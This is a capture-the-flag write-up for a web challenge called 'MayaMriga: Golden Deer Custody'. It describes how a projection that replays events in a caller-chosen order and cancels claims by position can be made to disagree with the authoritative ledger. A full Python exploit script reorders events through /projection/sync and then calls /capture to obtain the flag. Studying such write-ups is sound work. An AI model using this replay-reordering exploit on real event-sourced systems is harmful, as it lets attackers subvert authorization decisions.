Web Exploitation / Pinaka CTF 2026

MayaMriga: Golden Deer Custody

02 Nov 2026 · 3 min read

Reorder a projection’s event replay to diverge from the authoritative custody ledger and influence the capture decision.

Bug

The authoritative fold processes committed events in sequence order and matches each release to its claim by correlation ID. The live board replays events in a caller supplied order and compensates claims by position. /capture trusts the board.

The warden's seal-jatayu claim is the oldest authoritative claim. Our claim and matching release cancel each other in the authoritative fold, so the warden remains its holder. In the projection, we can place releases immediately after other claims. Those claims are removed positionally, while our released claim survives. The board then names our ranger as the oldest surviving claimant.

Exploit

  1. Enroll a ranger, then create a claim and release it. Save the claim event ID and sequence number.
  2. Read /forest/log. There must be at least one release event for every claim older than ours. On a clean instance, our own release is enough to compensate the warden's seal. If the shared log has more older claims, create additional claim/release pairs after our claim to supply releases.
  3. Build a permutation of every committed event ID: alternate each older claim with a release; place unused releases next; place our claim next; place all newer claims last.
  4. Submit that order to /projection/sync, then immediately call /capture. Retry the sync if another writer appends an event between reading the log and submitting the permutation.
python
import json
import urllib.error
import urllib.request

BASE = "http://130.210.48.10:9005"


def api(path, data, method="POST"):
    request = urllib.request.Request(
        BASE + path,
        data=json.dumps(data, separators=(",", ":")).encode(),
        headers={"Content-Type": "application/json"},
        method=method,
    )
    try:
        response = urllib.request.urlopen(request, timeout=20)
    except urllib.error.HTTPError as error:
        response = error
    with response:
        return json.load(response)


enrollment = api("/ranger/enroll", {})
token = enrollment["token"]
ranger = enrollment["ranger"]
claim = api("/track/claim", {"token": token})["event"]
api("/track/release", {"token": token, "corr": claim["corr"]})

while True:
    events = api("/forest/log", {"token": token}, "GET")["events"]
    older = [e["eid"] for e in events if e["type"] == "claim" and e["seq"] < claim["seq"]]
    releases = [e["eid"] for e in events if e["type"] == "release"]

    if len(releases) < len(older):
        # These events are newer than our target claim, so they only add releases
        # to the pool used to compensate older claims in the projection.
        for _ in range(len(older) - len(releases)):
            extra = api("/track/claim", {"token": token})["event"]
            api("/track/release", {"token": token, "corr": extra["corr"]})
        continue

    newer = [
        e["eid"] for e in events
        if e["type"] == "claim" and e["eid"] != claim["eid"]
        and e["seq"] > claim["seq"]
    ]
    order = []
    for older_claim, release in zip(older, releases):
        order.extend((older_claim, release))
    order.extend(releases[len(older):])
    order.append(claim["eid"])
    order.extend(newer)

    synced = api("/projection/sync", {"token": token, "order": order})
    if not synced.get("accepted"):
        continue  # The committed log changed; rebuild the complete permutation.
    if synced["board_holder"] != ranger:
        raise RuntimeError(f"Unexpected board holder: {synced['board_holder']}")
    print(api("/capture", {"token": token}))
    break

Result

The accepted replay showed ranger-61b338 on the board while the authoritative fold still showed warden-jatayu. /capture returned:

text
PINAKA{maricha_golden_deer_projection_reveals_the_captor}